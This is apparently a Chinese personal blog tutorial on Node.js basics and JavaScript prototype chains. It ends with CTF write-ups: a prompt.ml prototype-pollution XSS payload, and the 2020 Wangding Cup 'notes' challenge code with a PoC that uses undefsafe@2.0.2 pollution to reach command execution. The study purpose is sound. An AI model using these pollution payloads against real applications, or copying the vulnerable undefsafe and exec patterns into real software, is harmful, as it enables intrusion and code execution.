best_nodejs

1. nodejs

Node.js 中文网 : http://nodejs.cn/

官方网站:https://nodejs.org/

一句话:Node.js手册是天!!!

nodejs

1.1 nodejs基础

简单的说 Node.js 就是运行在服务端的 JavaScript。Node.js是一个基于 Chrome V8 引擎的 JavaScript 运行环境。Node.js 使用了一个事件驱动、非阻塞式 I/O 的模型,使其轻量又高效。Node.js 的包管理器 npm,是全球最大的开源库生态系统。

1.1.1 nodejs安装及环境配置

参考资料:

1、Node.js安装及环境配置之Windows篇 https://www.jianshu.com/p/03a76b2e7e00

2、npm 管理 NodeJS 包 https://linux.cn/article-9614-1.html

参考资料的讲解已经非常详尽了。

npm install

1.1.2 command

let

在新的js规范ES6中,新增了let命令,用来声明变量。用法类似于var,但不同的是所声明的变量,只在let 命令所在的代码块内有效。

1.1.3 jwt

const crypto = require('crypto');
//javascript的crypto模块
const jwt = require('jsonwebtoken')
//jsonwebtoken 库

//normal-encode-process
const secret = "NuAa"
const username = "admin"
const token = jwt.sign({username}, secret, {algorithm: 'HS256'});
console.log(token)
// eyJhbGciOiJIUzI1NiJ9.YWRtaW4.IhPaXo5KXx1Nh7mcvVPq5gycWLe6-3pLaZUa17vKKwY

1.2 nodejs进阶

1.2.1 node_modules

1.2.1.1 child_process

NodeJs是一个单进程的语言,不能像Java那样可以创建多线程来并发执行。当然在大部分情况下,NodeJs是不需要并发执行的,因为它是事件驱动性永不阻塞。但单进程也有个问题就是不能充分利用CPU的多核机制,根据前人的经验,可以通过创建多个进程来充分利用CPU多核,并且Node通过了child_process模块来创建完成多进程的操作。

child_process模块给予node任意创建子进程的能力,node官方文档对于child_proces模块给出了四种方法,映射到操作系统其实都是创建子进程。

第一种:

child_process.exec(): 衍生一个 shell 并在该 shell 中运行命令,当完成时则将 stdout 和 stderr 传给回调函数。

1.2.2 框架

1.2.2.1 express

参考资料:

1、NodeJS express(tql) https://www.jianshu.com/p/5cd306db1c0a

express1 快速搭建后台服务
const express = require('express'); //1、引入express模块
const server = express(); //2、调用express方法实例化对象

server.get('/',(req,res) => { //3、设置路由,响应不同的url地址请求
    res.send('express 搭建后台服务');
});

server.listen(3000); //4、监听端口
//vocode输出栏下右键,Stop Code Run

后台

express2 路由

语法:app.methods(path,callback)

  • app 是 express 实例对象
  • methods 是请求方法 get | post | put | update | delete |…
  • path 就是路径(url定值的 pathname ),必须以’/‘开头
  • callback 回调函数,路由的处理函数
    • req
    • res (这里的 req res 就是原生nodejs中的 req res。但比原生中要多一些属性方法,是express加上去的)
    • next 是一个方法,调用这个方法会让路由继续匹配下一个能匹配上的
express3 中间件

中间件其实是一个携带req、res、next这三个参数的函数,在请求与响应之间做一些中间处理的代码。

express4 跨域

2. 原型链

2020年网鼎杯第一场青龙组就出了一道web题,是考察javascript原型链泄露的,基于此对这一块进行深入了解和学习下。

2.1 javascript——原型与原型链

2.1.1 原型链基础

2.1.1.1 prototype (函数字面量)

在JavaScript中,每个函数(也只有函数才有)都有一个prototype属性,这个属性指向函数的原型对象。

function Person(age) {
    this.age = age       
}
Person.prototype.name = 'pperk'
var person1 = new Person()
var person2 = new Person()
console.log(person1.name) //pperk
console.log(person2.name)  //pperk

原型对象

上述例子中,函数的prototype指向了一个对象,而这个对象正是调用构造函数时创建的实例的原型,也就是person1和person2的原型。

原型的概念:每一个javascript对象(除null外)创建的时候,就会与之关联另一个对象,这个对象就是我们所说的原型,每一个对象都会从原型中“继承”属性。

让我们用一张图表示构造函数和实例原型之间的关系:

关系图1

2.1.1.2 __proto__ (对象字面量)

这是每个对象(除null外)都会有的属性,叫做__proto__,这个属性会指向该对象的原型。

function Person() {

}
var person = new Person();
console.log(person.__proto__ === Person.prototype); // true

而关系图:

关系图2

补充说明:

绝大部分浏览器都支持这个非标准的方法访问原型,然而它并不存在于 Person.prototype 中,实际上,它是来自于 Object.prototype ,与其说是一个属性,不如说是一个 getter/setter,当使用 obj.__proto__ 时,可以理解成返回了 Object.getPrototypeOf(obj)。

2.1.1.3 constructor

每个原型都有一个constructor属性,指向该关联的构造函数。

函数对象和原型对象通过prototype和constructor属性进行相互关联。

function Person() {

}
console.log(Person===Person.prototype.constructor)  //true

所以再更新下关系图:

关系图3

function Person() {

}

var person = new Person();

console.log(person.__proto__ === Person.prototype) // true
console.log(Person.prototype.constructor === Person) // true
// 顺便学习一个ES5的方法,可以获得对象的原型
console.log(Object.getPrototypeOf(person) === Person.prototype) // true

补充说明:

function Person() {

}
var person = new Person();
console.log(person.constructor === Person); // true

当获取 person.constructor 时,其实 person 中并没有 constructor 属性,当不能读取到constructor 属性时,会从 person 的原型也就是 Person.prototype 中读取,正好原型中有该属性,所以:

person.constructor === Person.prototype.constructor

2.1.1.4 实例与原型

当读取实例的属性时,如果找不到,就会查找与对象关联的原型中的属性,如果还查不到,就去找原型的原型,一直找到最顶层为止。

function Person() {

}

Person.prototype.name = 'Kevin';

var person = new Person();

person.name = 'Daisy';
console.log(person.name) // Daisy

delete person.name;
console.log(person.name) // Kevin

在这个例子中,我们给实例对象 person 添加了 name 属性,当我们打印 person.name 的时候,结果自然为 Daisy。

但是当我们删除了 person 的 name 属性时,读取 person.name,从 person 对象中找不到 name 属性就会从 person 的原型也就是 person.__proto__ ,也就是 Person.prototype中查找,幸运的是我们找到了 name 属性,结果为 Kevin。

但是万一还没有找到呢?原型的原型又是什么呢?

2.1.1.5 原型的原型

在前面,我们已经讲了原型也是一个对象,既然是对象,我们就可以用最原始的方式创建它,那就是:

var obj = new Object();
obj.name = 'Kevin'
console.log(obj.name) // Kevin

其实原型对象就是通过 Object 构造函数生成的,结合之前所讲,实例的 __proto__指向构造函数的 prototype ,所以我们再更新下关系图:

关系图4

2.1.1.6 原型链理论

简单的回顾一下构造函数、原型和实例的关系:每个构造函数都有一个原型对象,原型对象都包含一个指向构造函数的指针,而实例都包含一个指向原型对象的内部指针。那么假如我们让原型对象等于另一个类型的实例,结果会怎样?显然,此时的原型对象将包含一个指向另一个原型的指针,相应地,另一个原型中也包含着一个指向另一个构造函数的指针。假如另一个原型又是另一个类型的实例,那么上述关系依然成立。如此层层递进,就构成了实例与原型的链条。这就是所谓的原型链的基本概念。——摘自《javascript高级程序设计》

其实简单来说,就是上述四-五的过程。

继上述五中所说,那 Object.prototype 的原型呢?

console.log(Object.prototype.__proto__ === null) // true

null 表示“没有对象”,即该处不应该有值。

所以 Object.prototype.__proto__ 的值为 null 跟 Object.prototype 没有原型,其实表达了一个意思。

所以查找属性的时候查到 Object.prototype 就可以停止查找了。

最后一张关系图也可以更新为:

关系图5

图中由相互关联的原型组成的链状结构就是原型链,也就是蓝色的这条线。

2.1.2 原型链进阶

原型链依靠__proto__进行连接。

原型对象等于其他对象的实例来构造原型链。

只有大佬才懂的图

2.1.2.1 Function.prototype

参考资料:

1、Function.prototype https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype

Function.prototype 属性存储了 Function 的原型对象。

所有构造函数的__proto__都指向Function.prototype,它是一个空函数(Empty function)

Function.prototype

2.1.2.2 Object.__proto__

根据前面的内容可知,对象字面量的__proto__直接指向大Boss–>Object ,那我们来创建一个实例原型b,b的__proto__指向Object。从下图可以看出,Object.__proto__为null,null也意味着我们可以对其进行赋值。

Object

2.1.2.3 var

new操作符,在js中用于创建一个新的对象,在实际实现
(var p=new ObjectName(param1,parem2…);)的过程中,主要经历了以下三个步骤:

  • var o={};
  • o.__proto__=ObjectName.prototype;
  • ObjectName.call(o,parma1,param2);

2.1.2.4 原型链构造

本章节对应2.1.1.6 原型链理论,构造详情如下:

function Mammal(generic){
    this.generic=generic;
}
function Person(name,sex){
    this.name=name;
    this.sex=sex;
}
Person.prototype=new Mammal("Mankind");
var zhangdan=new Person("zhangdan","female")
//Person函数的原型对象等于另一个类型(Mammal)的实例
-----------------------------------------------------------------------------------------
Person.prototype.__proto__===Mammal.prototype
true
Person函数原型对象的__proto__属性与Mammal函数的原型对象相等。
-----------------------------------------------------------------------------------------
Person.prototype.__proto__.__proto__
Person.prototype.__proto__.__proto__===Mammal.prototype.__proto__
true
Mammal.prototype.__proto__.__proto__
null
-----------------------------------------------------------------------------------------

the whole proccess

2.1.3 Javascript模拟”类”

我们知道javascript是能实现面向对象编程的,但javascript语法不支持”类”,导致传统的面向对象编程方法无法直接使用。伟大的程序员做了很多探索,研究了如何用Javascript模拟”类”。

2.1.3.1 构造函数法

makesound

2.1.3.2 极简主义法

封装(怎么感觉还要复杂了点!!)

image-20200513212443386

这种方法的好处是,容易理解,结构清晰优雅,符合传统的”面向对象编程”的构造,因此可以方便地部署下面的特性。

继承

继承

私有属性和私有方法

私有属性和私有方法

上例的内部变量age,外部无法获取,可以在内部通过构造函数调用。

调用

2.1.3.3 prototype大法

2.2 题目练习

掌握上面这些基础就有了,下面就做题吧!!(狗头保命)

2.2.1 prompt

考点:原型链泄露 + replace特性

参考资料:

1、https://xz.aliyun.com/t/4507

题目链接:

1、http://prompt.ml/13

思路:

1、replace函数特性:

>'11223344'.replace('2',"test")
"11test23344"
>'11223344'.replace('2',"$`test")
"1111test23344"
>'11223344'.replace('2',"$'test")
"1123344test23344"
>'11223344'.replace('2',"$&test")
"112test23344"

2、调试代码:

// 原题基础上魔改了一下,方便调试
function escape(input) {
    // extend method from Underscore library
    // _.extend(destination, *sources) 
    function extend(obj) {
        var source, prop;
        for (var i = 1, length = arguments.length; i < length; i++) {
            //本来就两个元素,length=2,i是从1开始的,就是从JSON.parse(input)开始的
            source = arguments[i];
            for (prop in source) {
                obj[prop] = source[prop];
            }
        }
        return obj;
    }
    // a simple picture plugin
    try {
        // pass in something like {"source":"http://sandbox.prompt.ml/PROMPT.JPG"}
        var data = JSON.parse(input);
        var config = extend({
            // default image source
            source: 'http://placehold.it/350x150'
        }, JSON.parse(input));
        // forbit invalid image source
        if (/[^\w:\/.]/.test(config.source)) {
            delete config.source;
            //  设置config.source里的为特殊字符,从而删掉第一部分,这时原型链污染的第二部分就可以填充config.source了
        }
        // purify the source by stripping off "
        //  先把双引号全给过滤了
        var source = config.source.replace(/"/g, '');
        // insert the content using mustache-ish template
        // 上一步把source的双引号全给过滤了,这一步把source放入双引号内(被当成字符串),可以利用replace的特性实现双引号闭合
        return '<img src="{{source}}">'.replace('{{source}}', source);
    } catch (e) {
        return 'Invalid image data.';
    }
}

const input = '{"source":"*","__proto__":{"source":"$`onerror=prompt(1)>"}}';
console.log(escape(input))

2.3 真题搜集

2.3.1 notes(2020网鼎杯青龙组)

参考资料:

1、express app.set() https://blog.csdn.net/qq_31411389/article/details/53673792

2、Express中app.use()用法 https://www.jianshu.com/p/1d92463ebb69

3、res.render https://www.zhihu.com/question/36979935?sort=created

4、node child_process模块 https://www.cnblogs.com/cangqinglang/p/9886657.html

5、undefsafe https://www.npmjs.com/package/undefsafe

6、[网鼎杯 2020 Web Writeup] https://www.xmsec.cc/wang-ding-bei-2020-web-writeup/

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

对萌新而言,难就难在调试,代码看不懂,调试也不会调,看不到结果,就更加不会了。

我在.js文件所在文件夹下创建一个node_modules的文件夹,然后npm install undefsafe@2.0.2,高版本已经修复了,如果默认去安装的话,就会得到高版本的,是无法进行漏洞复现的。

js1

可以看到自动创建了一个package-lock.json,undefsafe@2.0.2的包也放在了node_modules里面。

js2

下面写了一个poc,可以看到利用undefsafe进行原型链污染,使得字典commands在遍历的时候最后一个键值成了我们赋的shell语句,从而实现rce。

var a = require("undefsafe");
var payload = "__proto__.a";
a({},payload,"type d:\\flag");
console.log({}['a']);
const { exec } = require('child_process');
let commands = {
    "script-1": "dir",
    "script-2": "whoami"
};
for (let index in commands) {
    exec(commands[index], (err, stdout, stderr) => {
        if (err) {
            console.log(err);
        }
        console.log(`stdout: ${stdout}`);
    });
}

output

2.4 参考资料

1. javascript——原型与原型链 https://www.cnblogs.com/loveyaxin/p/11151586.html

2. js原型链 https://www.jianshu.com/p/08c07a953fa0

3、javascript原型链污染详解:https://wulidecade.cn/2019/04/15/javascript%E5%8E%9F%E5%9E%8B%E9%93%BE%E6%B1%A1%E6%9F%93%E8%AF%A6%E8%A7%A3(%E5%90%8E%E6%9C%89%E5%BD%A9%E8%9B%8B)/


   转载规则


《best_nodejs》 pperk 采用 知识共享署名 4.0 国际许可协议 进行许可。
 上一篇
best_xxe best_xxe
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-11
下一篇 
best_CodeReview best_CodeReview
我想给你一把打开这扇门的钥匙,而你要做的便是静静地聆听接下来的故事。
2020-05-09
  目录